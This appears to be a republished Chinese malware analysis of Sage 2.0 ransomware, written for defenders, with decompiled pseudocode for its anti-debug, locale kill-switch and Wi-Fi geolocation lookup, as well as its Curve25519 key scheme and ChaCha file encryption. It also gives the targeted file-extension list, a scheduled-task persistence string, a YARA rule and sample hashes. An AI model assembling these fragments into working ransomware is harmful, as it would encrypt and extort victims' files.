针对勒索软件Sage 2.0的分析

前言

Sage勒索软件是勒索软件家族的一个新成员,也是勒索软件CryLocker的一个变种。从目前情况分析,隐藏在Sage背后的始作俑者与勒索软件Cerber、Locky和Spora的散布者应该师出同门。

在本文的分析案例中,Sage借助垃圾邮件进行传播扩散,恶意垃圾邮件中仅仅包含一个zip压缩文件,没有其他文字内容。该zip文件包含了一份Word宏文档,其主要功能是下载及安装Sage勒索软件。

运行该勒索软件后,Windows的UAC窗口会不断重复显示,直到用户点击“Yes”按钮,允许勒索软件运行为止。

随后勒索软件开始对文件进行加密,被加密过的文件名以“.sage”结尾。

勒索软件的赎金页面会告诉受害者去Tor网络页面支付赎金,但首先受害者需要输入正确的验证码才能访问该页面。

验证码校验通过后,受害者可以看到Sage 2.0的主页面,如下图所示。

受害者甚至可以在这个网站与软件作者进行交流。

Sage不会在加密工作结束后自我删除,而是将自身复制到“%APPDATA%\Roaming”目录,每次系统重启后,Sage会重新加密所有文件,直到受害者支付赎金。

技术分析

接下来我们将着重从技术角度对Sage 2.0进行分析。

软件的主函数流程与以下代码类似:

  1. int main(int argc, const char **argv, const char **envp) 
  2.   ModCheck(); 
  3.   DebugCheck(); 
  4.   AntiDebug(v3); 
  5.   if ( AntiDebugCheckMutex() ) 
  6.     return 0; 
  7.   GetOrGenerateMainCryptoKey(); 
  8.   if ( IsProtectedLocale() ) 
  9.   { 
  10.     FingerprintLocation(2); 
  11.     Sleep(0x493E0u); 
  12.     FingerprintLocation(2); 
  13.     Sleep(0x927C0u); 
  14.     FingerprintLocation(2); 
  15.     SelfDelete(); 
  16.     result = 0
  17.   } 
  18.   else 
  19.   { 
  20.     if ( !CheckFingerprintLocation() ) 
  21.       return 0; 
  22.     result = CreateThreadsAndEncrypt(&mainEncKeyt); 
  23.   } 
  24.   return result; 

代码中包含很多的指纹信息探测及检查过程,这些过程都是常见流程,比较有趣的功能包括以下几点:

1)调试开关功能

首次运行时软件可能会出现某些问题,因此软件内置了一个调试命令行参数功能来测试软件设置参数是否正确:

  1. LPWSTR *DebugCheck() 
  2.   cmdLine = GetCommandLineW(); 
  3.   result = CommandLineToArgvW(cmdLine, &numArgs); 
  4.   if ( numArgs == 2 ) 
  5.   { 
  6.     result = (LPWSTR *)result[1]; 
  7.     if ( *result == 'd' && !*(result + 1) ) 
  8.     { 
  9.       if ( AttachConsole(0xFFFFFFFF) ) 
  10.       { 
  11.         stdout = GetStdHandle(0xFFFFFFF5); 
  12.         debugmsg = sprintf_0("{\"b\":\"%#.*s\"}", 8, FingerprintDword + 4); 
  13.         WriteFile(stdout, debugmsg, lstrlenA(debugmsg), &NumberOfBytesWritten, 0); 
  14.       } 
  15.       ExitProcess(0); 
  16.     } 
  17.   } 

调试功能的运行结果如下图所示。

这个调试功能之所以存在,可能是因为作者疏忽大意,忘了从最终版本中删除相应代码。

2)区域检查功能

Sage 2.0的作者给了某几个国家特殊关照,如以下的区域检查代码片段:

  1. signed int IsProtectedLocale() 
  2.   localeCount = GetKeyboardLayoutList(10, (HKL *)&List); 
  3.   if ( localeCount <= 0 ) 
  4.     return 0; 
  5.   i = 0
  6.   if ( localeCount <= 0 ) 
  7.     return 0; 
  8.   while ( 1 ) 
  9.   { 
  10.     next = (unsigned int)(&List)[i] & 0x3FF; 
  11.     if ( next == 0x23 || next == 0x3F || next == 0x19 || next == 0x22 || next == 0x43 || (_WORD)next == 0x85 ) 
  12.       break; 
  13.     if ( ++i >= localeCount ) 
  14.       return 0; 
  15.   } 
  16.   return 1; 

码对用户键盘布局进行了检测,next变量的数值与语种的对应关系为:

有点令人失望的是波兰语系并不在软件的例外列表中,如果Sage作者能看到这篇文章的话,请将0x15值添加到程序代码中(注:作者的调侃)。

3)地理位置指纹识别功能

Sage试图通过maps.googleapis.com得到宿主机的地理位置信息以及SSID、MAC信息,如以下代码:

  1. strcpy_((int)arg0, "/maps/api/browserlocation/json?browser=firefox&sensor=true"); 
  2. i = 0
  3. if ( v12[1] ) 
  4.     offset = 0
  5.     do 
  6.     { 
  7.         ss_ = (int)&v12[offset + 2]; 
  8.         if ( *(_DWORD *)ss_ <= 0x20u ) 
  9.         { 
  10.             ToHexStrring(&mac, (unsigned __int8 *)&v12[offset + 12]); 
  11.             str_append(ssid, (_BYTE *)(ss_ + 4), *(_DWORD *)ss_); 
  12.             ssid[*(_DWORD *)ss_] = 0; 
  13.             sprintf_1((int)arg0, "&wifi=mac:%s|ssid:%s|ss:%d", &mac, ssid, (*(_DWORD *)(ss_ + 60) >> 1) - 100); 
  14.         } 
  15.         ++i; 
  16.         offset += 90; 
  17.     } 
  18.     while ( i < v12[1] ); 
  19.    
  20. // ... 
  21.    
  22. DoHttpGetRequest((DWORD)&dwNumberOfBytesAvailable, "maps.googleapis.com", 0x1BBu, v8) 

特征文件判定,文件加密流程开始前,Sage首先检查某个特征文件是否存在:

  1. if ( CreateFileW(L"C:\\Temp\\lol.txt", 0x80000000, 1u, 0, 3u, 0, 0) == (HANDLE)-1 ) 
  2.     // encryption code 

Sage作者通过判断特征文件是否存在,决定加密流程是否启动,以避免对作者本机的文件造成影响。

若该特征文件不存在,Sage将启动加密流程。

文件后缀清单

Sage不会对所有文件进行加密,它只对文件后缀清单中的文件进行加密,受影响的文件后缀如下所示:

  1. .dat .mx0 .cd .pdb .xqx .old .cnt .rtp .qss .qst .fx0 .fx1 .ipg .ert .pic .img 
  2. .cur .fxr .slk .m4u .mpe .mov .wmv .mpg .vob .mpeg .3g2 .m4v .avi .mp4 .flv 
  3. .mkv .3gp .asf .m3u .m3u8 .wav .mp3 .m4a .m .rm .flac .mp2 .mpa .aac .wma .djv 
  4. .pdf .djvu .jpeg .jpg .bmp .png .jp2 .lz .rz .zipx .gz .bz2 .s7z .tar .7z .tgz 
  5. .rar .zip .arc .paq .bak .set .back .std .vmx .vmdk .vdi .qcow .ini .accd .db 
  6. .sqli .sdf .mdf .myd .frm .odb .myi .dbf .indb .mdb .ibd .sql .cgn .dcr .fpx 
  7. .pcx .rif .tga .wpg .wi .wmf .tif .xcf .tiff .xpm .nef .orf .ra .bay .pcd .dng 
  8. .ptx .r3d .raf .rw2 .rwl .kdc .yuv .sr2 .srf .dip .x3f .mef .raw .log .odg .uop 
  9. .potx .potm .pptx .rss .pptm .aaf .xla .sxd .pot .eps .as3 .pns .wpd .wps .msg 
  10. .pps .xlam .xll .ost .sti .sxi .otp .odp .wks .vcf .xltx .xltm .xlsx .xlsm 
  11. .xlsb .cntk .xlw .xlt .xlm .xlc .dif .sxc .vsd .ots .prn .ods .hwp .dotm .dotx 
  12. .docm .docx .dot .cal .shw .sldm .txt .csv .mac .met .wk3 .wk4 .uot .rtf .sldx 
  13. .xls .ppt .stw .sxw .dtd .eml .ott .odt .doc .odm .ppsm .xlr .odc .xlk .ppsx 
  14. .obi .ppam .text .docb .wb2 .mda .wk1 .sxm .otg .oab .cmd .bat .h .asx .lua .pl 
  15. .as .hpp .clas .js .fla .py .rb .jsp .cs .c .jar .java .asp .vb .vbs .asm .pas 
  16. .cpp .xml .php .plb .asc .lay6 .pp4 .pp5 .ppf .pat .sct .ms11 .lay .iff .ldf 
  17. .tbk .swf .brd .css .dxf .dds .efx .sch .dch .ses .mml .fon .gif .psd .html 
  18. .ico .ipe .dwg .jng .cdr .aep .aepx .123 .prel .prpr .aet .fim .pfb .ppj .indd 
  19. .mhtm .cmx .cpt .csl .indl .dsf .ds4 .drw .indt .pdd .per .lcd .pct .prf .pst 
  20. .inx .plt .idml .pmd .psp .ttf .3dm .ai .3ds .ps .cpx .str .cgm .clk .cdx .xhtm 
  21. .cdt .fmv .aes .gem .max .svg .mid .iif .nd .2017 .tt20 .qsm .2015 .2014 .2013 
  22. .aif .qbw .qbb .qbm .ptb .qbi .qbr .2012 .des .v30 .qbo .stc .lgb .qwc .qbp 
  23. .qba .tlg .qbx .qby .1pa .ach .qpd .gdb .tax .qif .t14 .qdf .ofx .qfx .t13 .ebc 
  24. .ebq .2016 .tax2 .mye .myox .ets .tt14 .epb .500 .txf .t15 .t11 .gpc .qtx .itf 
  25. .tt13 .t10 .qsd .iban .ofc .bc9 .mny .13t .qxf .amj .m14 ._vc .tbp .qbk .aci 
  26. .npc .qbmb .sba .cfp .nv2 .tfx .n43 .let .tt12 .210 .dac .slp .qb20 .saj .zdb 
  27. .tt15 .ssg .t09 .epa .qch .pd6 .rdy .sic .ta1 .lmr .pr5 .op .sdy .brw .vnd .esv 
  28. .kd3 .vmb .qph .t08 .qel .m12 .pvc .q43 .etq .u12 .hsr .ati .t00 .mmw .bd2 .ac2 
  29. .qpb .tt11 .zix .ec8 .nv .lid .qmtf .hif .lld .quic .mbsb .nl2 .qml .wac .cf8 
  30. .vbpf .m10 .qix .t04 .qpg .quo .ptdb .gto .pr0 .vdf .q01 .fcr .gnc .ldc .t05 
  31. .t06 .tom .tt10 .qb1 .t01 .rpf .t02 .tax1 .1pe .skg .pls .t03 .xaa .dgc .mnp 
  32. .qdt .mn8 .ptk .t07 .chg .#vc .qfi .acc .m11 .kb7 .q09 .esk .09i .cpw .sbf .mql 
  33. .dxi .kmo .md .u11 .oet .ta8 .efs .h12 .mne .ebd .fef .qpi .mn5 .exp .m16 .09t 
  34. .00c .qmt .cfdi .u10 .s12 .qme .int? .cf9 .ta5 .u08 .mmb .qnx .q07 .tb2 .say 
  35. .ab4 .pma .defx .tkr .q06 .tpl .ta2 .qob .m15 .fca .eqb .q00 .mn4 .lhr .t99 
  36. .mn9 .qem .scd .mwi .mrq .q98 .i2b .mn6 .q08 .kmy .bk2 .stm .mn1 .bc8 .pfd .bgt 
  37. .hts .tax0 .cb .resx .mn7 .08i .mn3 .ch .meta .07i .rcs .dtl .ta9 .mem .seam 
  38. .btif .11t .efsl .$ac .emp .imp .fxw .sbc .bpw .mlb .10t .fa1 .saf .trm .fa2 
  39. .pr2 .xeq .sbd .fcpa .ta6 .tdr .acm .lin .dsb .vyp .emd .pr1 .mn2 .bpf .mws 
  40. .h11 .pr3 .gsb .mlc .nni .cus .ldr .ta4 .inv .omf .reb .qdfx .pg .coa .rec .rda 
  41. .ffd .ml2 .ddd .ess .qbmd .afm .d07 .vyr .acr .dtau .ml9 .bd3 .pcif .cat .h10 
  42. .ent .fyc .p08 .jsd .zka .hbk .mone .pr4 .qw5 .cdf .gfi .cht .por .qbz .ens 
  43. .3pe .pxa .intu .trn .3me .07g .jsda .2011 .fcpr .qwmo .t12 .pfx .p7b .der .nap 
  44. .p12 .p7c .crt .csr .pem .gpg .key 

加密过程

勒索软件最有趣的部分莫过于文件的加密过程。在勒索软件中,Sage 2.0是非常特别的一个存在,因为它采用了椭圆曲线加密算法对文件进行加密。

加密所使用的椭圆曲线函数是“y^2 = x^3 + 486662x^x + x”,使用的素数范围是“2^255 – 19”,基数变量x=9。Sage所采用的椭圆曲线是著名的Curve25519曲线,是现代密码学中最先进的技术。Curve25519不仅是最快的ECC(Elliptic Curve Cryptography,椭圆曲线加密算法)曲线之一,也不易受到弱RNG(Random Number Generator,随机数生成器)的影响,设计时考虑了侧信道攻击,避免了许多潜在的实现缺陷,并且很有可能不存在第三方内置后门。

Sage将Curve25519算法与硬编码的公钥一起使用生成共享密钥。主密钥生成算法如下所示(结构体和函数名由我们重新命名):

  1. int __cdecl GenerateMainKey(curve_key *result, const void *publicKey) 
  2.   char mysecret[32]; // [esp+4h] [ebp-40h]@1 
  3.   char shared[32]; // [esp+24h] [ebp-20h]@1 
  4.    
  5.   result->flag = 1
  6.   GenerateCurve25519SecretKey(mysecret); 
  7.   ComputeCurve25519MatchingPublicKey(result->gpk, mysecret); 
  8.   ComputeCurve25519SharedSecret(shared, mysecret, publicKey); 
  9.   ConvertBytesToCurve22519SecretKey(shared); 
  10.   ComputeCurve25519MatchingPublicKey(result->pk, shared); 
  11.   return 0; 

这段代码看起来像是基于ECC的DH密钥交换协议(ECDH,Elliptic Curve Diffie-Hellman)的实现代码,但其中没有任何保存算法私钥的流程(私钥只用于数据解密用途,可由软件作者可以使用自己的私钥随时创建)。

代码中复杂的函数只是ECC函数(我们称之为CurveEncrypt函数)的封装而已。例如,计算匹配公钥的函数是curve25519(secretKey, basePoint),其中basePoint等于9(即9后面跟31个零)。

  1. int __cdecl ComputeCurve25519MatchingPublicKey(char *outPtr, char *randbytes) 
  2.   char key[32]; // [esp+8h] [ebp-20h]@1 
  3.    
  4.   qmemcpy(key, &Curve25519BasePoint, sizeof(key)); 
  5.   key[31] = Curve25519BasePointEnd & 0x7F; 
  6.   return CurveEncrypt(outPtr, randbytes, key); 

共享密钥的计算与之类似,不同的是所使用的是公钥而不是常数基数,如下:

  1. int __cdecl ComputeCurve25519SharedSecret(char *shared, char *mySecret, const void *otherPublicKey) 
  2.   char a3a[32]; // [esp+8h] [ebp-20h]@1 
  3.    
  4.   qmemcpy(a3a, otherPublicKey, sizeof(a3a)); 
  5.   a3a[31] &= 0x7Fu; 
  6.   return CurveEncrypt(shared, mySecret, a3a); 

得益于Curve25519的精妙设计,任意序列随机字节与密钥之间的相互转换是非常容易的,只需要对几个比特进行修改就已足够:

  1. curve_key *__cdecl ConvertBytesToCurve22519SecretKey(curve_key *a1) 
  2.   curve_key *result; // eax@1 
  3.   char v2; // cl@1 
  4.    
  5.   result = a1
  6.   v2 = a1->gpk[31]; 
  7.   result->gpk[0] &= 248u; 
  8.   a1->gpk[31] = v2 & 0x3F | 0x40; 
  9.   return result; 

同理,私钥的生成也非常容易,只需要生成一个32字节的随机数,将其转换为私钥即可:

  1. int __cdecl GenerateCurve25519SecretKey(_BYTE *buffer) 
  2.   char v1; // al@1 
  3.    
  4.   getSecureRandom(32, (int)buffer); 
  5.   v1 = buffer[31]; 
  6.   *buffer &= 248u; 
  7.   buffer[31] = v1 & 0x3F | 0x40; 
  8.   return 0; 

以上就是密钥生成的全部流程。至于文件加密流程,Sage首先是使用Curve25519对文件进行首次加密,再利用ChaCha算法进行后续加密(同样也是非常规加密方法),加密密钥附在输出文件的尾部:

  1. GenerateCurve25519SecretKey(&secretKey); 
  2. ComputeCurve25519MatchingPublicKey(pubKey, &secretKey); 
  3. ComputeCurve25519SharedSecret(sharedSecret, &secretKey, ellipticCurveKey->pk); 
  4.    
  5. // 
  6.    
  7. ChaChaInit(&chaCha20key, (unsigned __int8 *)sharedSecret, (unsigned __int8 *)minikey); 
  8.    
  9. while (bytesLeftToRead) { 
  10.     // Read from file to lpBuff 
  11.    
  12.     ChaChaEncrypt(&chaCha20key, lpBuff, lpBuff, numBytesRead); 
  13.    
  14.     // Write from file to lpBuff 
  15.    
  16. AppendFileKeyInfo(hFile_1, ellipticCurveKey, &FileSize, pubKey, a5); 

AppendFileKeyInfo函数的功能是将共享密钥和pubKey附加到文件尾部:

  1. int __cdecl AppendFileKeyInfo(HANDLE hFile, curve_key *sharedKey, DWORD *dataSize, char *pubKey, int a5) 
  2.   DWORD dataSizeV; // edx@1 
  3.   int result; // eax@3 
  4.   _DWORD buffer[24]; // [esp+8h] [ebp-60h]@1 
  5.    
  6.   buffer[0] = 0x5A9EDEAD; 
  7.   qmemcpy(&buffer[1], sharedKey, 0x20u); 
  8.   qmemcpy(&buffer[9], pubKey, 0x20u); 
  9.   dataSizeV = *dataSize; 
  10.   buffer[19] = dataSize[1]; 
  11.   buffer[18] = dataSizeV; 
  12.   buffer[21] = a5; 
  13.   buffer[20] = 0; 
  14.   buffer[22] = 0x5A9EBABE; 
  15.   if ( WriteFile(hFile, buffer, 0x60u, (LPDWORD)&sharedKey, 0) && sharedKey == (curve_key *)96 ) 
  16.     result = 0
  17.   else 
  18.     result = -5; 
  19.   return result; 

ChaCha并不是勒索软件常用的算法,它与Salsa20算法紧密相关(勒索软件Petya用的就是Salsa20算法)。我们并不知道为何Sage不适用AES,有可能它只是想特立独行而已。

换而言之,对于每一个加密文件,都对应有两组密钥+一个密钥对,对应关系如下所示:

  1. my_secret <- random 
  2. my_public <- f(my_secret)  # gpk 
  3.    
  4. sh_secret <- f(my_secret, c2_public) 
  5. sh_public <- f(sh_secret) # pk 
  6.    
  7. fl_secret <- random 
  8. fl_public <- f(fl_secret) 
  9. fl_shared <- f(fl_secret, sh_public) 
  10.    
  11. chachakey <- f(fl_shared) 

Sage完成加密工作后,我们只获得了其中my_public、sh_public以及fl_shared的值,我们还需要获得chachakey的值才能正确解密文件。

Sage采用了相当牢固的加密方法,可以在离线状态下加密文件,不需要连接C&C服务器进行密钥协商,原因在于加密所需要的公钥已经硬编码在勒索软件中,并且经过了非对称加密处理。如果Sage作者没有犯太大的编程错误的话,那么文件的解密恢复就渺渺无期。当然,主加密密钥最终总是有可能会被泄露或者公布出来的。

附加信息

匹配Sage所使用的Yara规则:

  1. rule sage 
  2.     meta: 
  3.         author="msm" 
  4.    
  5.     strings: 
  6.         /* ransom message */ 
  7.         $ransom1 = "ATTENTION! ALL YOUR FILES WERE ENCRYPTED!" 
  8.         $ransom2 = "SAGE 2.0 uses military grade elliptic curve cryptography and you" 
  9.    
  10.         /* other strings */ 
  11.         $str0 = "!Recovery_%s.html" 
  12.         $str1 = "/CREATE /TN \"%s\" /TR \"%s\" /SC ONLOGON /RL HIGHEST /F" 
  13.    
  14.         /* code */ 
  15.         $get_subdomain = {8B 0D ?? ?? 40 00 6A ?? [2] A1 ?? ?? 40 00 5? 5? 50 51 53 E8} 
  16.         $debug_file_name = {6A 00 6A 01 68 00 00 00 80 68 [4] FF 15 [4] 83 F8 FF} 
  17.         $get_request_subdomain = {74 ?? A1 [4] 5? 5? 68 ?? ?? 40 00 E8} 
  18.         $get_ec_pubkey = {68 [2] 40 00 68 [2] 40 00 E8 [4] 68 B9 0B 00 00 6A 08 E8} 
  19.         $get_extensions = { 8B 35 [2] 40 00 [0-3] 80 3E 00 74 24 } 
  20.    
  21.     condition: 
  22.         all of ($ransom*) and any of ($str*) 
  23.         and any of ($get_subdomain, $debug_file_name, $get_request_subdomain, $get_ec_pubkey, $get_extensions) 

样本哈希值(SHA256):

  1. sample 1, 362baeb80b854c201c4e7a1cfd3332fd58201e845f6aebe7def05ff0e00bf339 
  2. sample 2, 3b4e0460d4a5d876e7e64bb706f7fdbbc6934e2dea7fa06e34ce01de8b78934c 
  3. sample 3, ccd6a495dfb2c5e26cd65e34c9569615428801e01fd89ead8d5ce1e70c680850 
  4. sample 4, 8a0a191d055b4b4dd15c66bfb9df223b384abb75d4bb438594231788fb556bc2 
  5. sample 5, 0ecf3617c1d3313fdb41729c95215c4d2575b4b11666c1e9341f149d02405c05 

其他资料:

https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/129711.html<

(0)
运维的头像运维
上一篇2025-02-25 17:59
下一篇 2025-02-25 18:00

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注